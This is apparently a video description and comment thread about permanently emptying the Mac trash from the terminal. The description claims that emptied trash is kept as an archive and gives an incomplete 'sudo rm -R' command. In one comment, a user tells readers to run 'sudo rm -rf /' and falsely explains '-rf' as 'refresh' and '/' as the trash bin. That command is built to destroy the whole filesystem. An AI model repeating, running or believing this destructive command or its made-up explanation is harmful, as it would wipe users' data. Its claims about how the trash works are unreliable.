How to REALLY Empty Your Trash!

When you "empty trash", it saves it as a small archive so you can recover it. This terminal code deletes it PERMANENTLY:

sudo rm -R

*make sure you keep the space at the end*
***WARNING THIS IS PERMANENT DELETION!!!***

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• trash
• empty
• terminal
• mac
• os
• 10
• apple

[Metal404Head]

An easier way to do this would be to enter " sudo rm -rf /"

the " -rf " stands for refresh, so basically it refreshes your trash bin

the " / " stands for your trash bin.

this deletes everything all at once so you dont have to do all that dragging and such

Great vid though! keep em up!

[FullyLoaded66]

@Metal404Head all i can say to you is that i hope people dont come to your house to murder you for telling them to do this lmao!!

[ipodnano4g8g]

or u can just empty it securly

[FullyLoaded66]

nope that saves it also

[ipodnano4g8g]

no it dont because regular empty u can get and securly u cant

a apple associate told me

lol

[FullyLoaded66]

ok im just offering my knowledge and i know that secure doesn't completelydelete files

[Metal404Head]

@FullyLoaded66 Why would they do that???? :(((

im just trying to be helpful....

[R0ckDaH0wse]

k so i accidently 'emptied' my recylce bin. it was a few months back, you have any idea how i can get it back?

[lmv0179]

Thanks keep up the good vids.

[jaj00RS]

Thank you, i had stuff stuck in there now it is gone (:

[ipodnano4g8g]

how do u no it permatly erases the files